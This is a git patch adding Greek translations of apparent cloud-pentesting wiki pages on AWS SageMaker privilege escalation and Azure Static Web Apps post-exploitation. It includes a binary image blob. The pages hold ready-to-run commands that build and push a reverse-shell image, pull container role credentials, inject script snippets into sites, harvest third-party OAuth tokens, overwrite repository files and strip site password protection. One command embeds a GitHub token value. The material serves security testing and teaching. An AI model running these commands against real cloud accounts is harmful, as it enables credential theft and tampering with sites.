From b39aa6324a193aeaa9d1844c52bb0e484297b175 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 22:58:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/images/azure_static_password.png | Bin 0 -> 14369 bytes .../aws-sagemaker-privesc.md | 14 +- .../az-static-web-apps-post-exploitation.md | 162 ++++++++++++++++++ ...-conditional-access-policies-mfa-bypass.md | 40 ++--- .../az-services/az-static-web-apps.md | 109 ++++++++++++ 5 files changed, 298 insertions(+), 27 deletions(-) create mode 100644 src/images/azure_static_password.png create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md diff --git a/src/images/azure_static_password.png b/src/images/azure_static_password.png new file mode 100644 index 0000000000000000000000000000000000000000..9b11425160fdf4e9366904aff148498194333728 GIT binary patch literal 14369 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:role/service-role/ ``` -Η απάντηση θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN της νεοδημιουργημένης παρουσίας σημειωματάριου. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε μια διεύθυνση URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στην παρουσία σημειωματάριου μόλις είναι έτοιμη: +Το response θα πρέπει να περιέχει ένα πεδίο `NotebookInstanceArn`, το οποίο θα περιέχει το ARN της νεοδημιουργημένης παρουσίας notebook. Στη συνέχεια, μπορούμε να χρησιμοποιήσουμε το API `create-presigned-notebook-instance-url` για να δημιουργήσουμε μια διεύθυνση URL που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση στην παρουσία notebook μόλις είναι έτοιμη: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Πλοηγηθείτε στη διεύθυνση URL με τον περιηγητή και κάντε κλικ στο \`Open JupyterLab\` στην επάνω δεξιά γωνία, στη συνέχεια, μετακινηθείτε προς τα κάτω στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”. +Πλοηγηθείτε στη διεύθυνση URL με τον περιηγητή και κάντε κλικ στο \`Open JupyterLab\`\` στην επάνω δεξιά γωνία, στη συνέχεια, κύλησε προς τα κάτω στην καρτέλα “Launcher” και κάτω από την ενότητα “Other”, κάντε κλικ στο κουμπί “Terminal”. -Τώρα είναι δυνατή η πρόσβαση στα διαπιστευτήρια μεταδεδομένων του IAM Role. +Τώρα είναι δυνατό να αποκτήσετε πρόσβαση στα διαπιστευτήρια μεταδεδομένων του IAM Role. -**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας sagemaker που καθορίζεται. +**Πιθανές Επιπτώσεις:** Privesc στον ρόλο υπηρεσίας sagemaker που έχει καθοριστεί. ### `sagemaker:CreatePresignedNotebookInstanceUrl` @@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name cd /tmp/rev > sudo docker build . -t reverseshell > -> # Ανεβάστε το στο ECR +> # Ανέβασμα στο ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest @@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` Ένας επιτιθέμενος με αυτές τις άδειες θα (πιθανώς) μπορεί να δημιουργήσει μια **εργασία εκπαίδευσης υπερπαραμέτρων**, **τρέχοντας ένα αυθαίρετο κοντέινερ** σε αυτήν με έναν **συνδεδεμένο ρόλο**.\ -&#xNAN;_I δεν έχω εκμεταλλευτεί λόγω έλλειψης χρόνου, αλλά φαίνεται παρόμοιο με τις προηγούμενες εκμεταλλεύσεις, μη διστάσετε να στείλετε μια PR με τις λεπτομέρειες εκμετάλλευσης._ +_Δεν έχω εκμεταλλευτεί λόγω έλλειψης χρόνου, αλλά φαίνεται παρόμοιο με τις προηγούμενες εκμεταλλεύσεις, μη διστάσετε να στείλετε μια PR με τις λεπτομέρειες εκμετάλλευσης._ ## Αναφορές diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md new file mode 100644 index 000000000..ba1a9ce54 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md @@ -0,0 +1,162 @@ +# Az - Static Web Apps Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Static Web Apps + +Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία, ελέγξτε: + +{{#ref}} +../az-services/az-static-web-apps.md +{{#endref}} + +### Microsoft.Web/staticSites/snippets/write + +Είναι δυνατόν να φορτώσετε μια στατική ιστοσελίδα με αυθαίρετο HTML κώδικα δημιουργώντας ένα snippet. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κώδικα JS μέσα στην εφαρμογή ιστού και να κλέψει ευαίσθητες πληροφορίες όπως διαπιστευτήρια ή μνημονικούς κωδικούς (σε πορτοφόλια web3). + +Η παρακάτω εντολή δημιουργεί ένα snippet που θα φορτώνεται πάντα από την εφαρμογή ιστού:: +```bash +az rest \ +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' +``` +### Διαβάστε τις Ρυθμισμένες Πιστοποιήσεις Τρίτων + +Όπως εξηγήθηκε στην ενότητα App Service: + +{{#ref}} +../az-privilege-escalation/az-app-services-privesc.md +{{#endref}} + +Εκτελώντας την παρακάτω εντολή είναι δυνατόν να **διαβάσετε τις πιστοποιήσεις τρίτων** που είναι ρυθμισμένες στον τρέχοντα λογαριασμό. Σημειώστε ότι αν για παράδειγμα κάποιες πιστοποιήσεις Github είναι ρυθμισμένες σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν διαφορετικό. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Αυτή η εντολή επιστρέφει tokens για το Github, Bitbucket, Dropbox και OneDrive. + +Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα tokens: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Επικαλύψτε το αρχείο - Επικαλύψτε διαδρομές, HTML, JS... + +Είναι δυνατόν να **επικαλύψετε ένα αρχείο μέσα στο αποθετήριο Github** που περιέχει την εφαρμογή μέσω του Azure, στέλνοντας ένα αίτημα όπως το παρακάτω, το οποίο θα υποδείξει τη διαδρομή του αρχείου που θα επικαλυφθεί, το περιεχόμενο του αρχείου και το μήνυμα δέσμευσης. + +Αυτό μπορεί να καταχραστεί από επιτιθέμενους για να **αλλάξουν το περιεχόμενο της διαδικτυακής εφαρμογής** ώστε να εξυπηρετούν κακόβουλο περιεχόμενο (να κλέψουν διαπιστευτήρια, μνημονικές κλειδιά...) ή απλώς για να **ανακατευθύνουν ορισμένες διαδρομές** στους δικούς τους διακομιστές επικαλύπτοντας το αρχείο `staticwebapp.config.json`. + +> [!WARNING] +> Σημειώστε ότι αν ένας επιτιθέμενος καταφέρει να παραβιάσει το αποθετήριο Github με οποιονδήποτε τρόπο, μπορεί επίσης να επικαλύψει το αρχείο απευθείας από το Github. +```bash +curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ +-H "Content-Type: application/json" \ +-d '{ +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +}' +``` +### Microsoft.Web/staticSites/config/write + +Με αυτή την άδεια, είναι δυνατόν να **τροποποιήσετε τον κωδικό πρόσβασης** που προστατεύει μια στατική εφαρμογή ιστού ή ακόμη και να αφαιρέσετε την προστασία από κάθε περιβάλλον στέλνοντας ένα αίτημα όπως το παρακάτω: +```bash +# Change password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} +}' + +# Remove the need of a password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} +}' +``` +### Microsoft.Web/staticSites/listSecrets/action + +Αυτή η άδεια επιτρέπει την απόκτηση του **API key deployment token** για την στατική εφαρμογή. + +Αυτό το token επιτρέπει την ανάπτυξη της εφαρμογής. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" +``` +Στη συνέχεια, για να ενημερώσετε μια 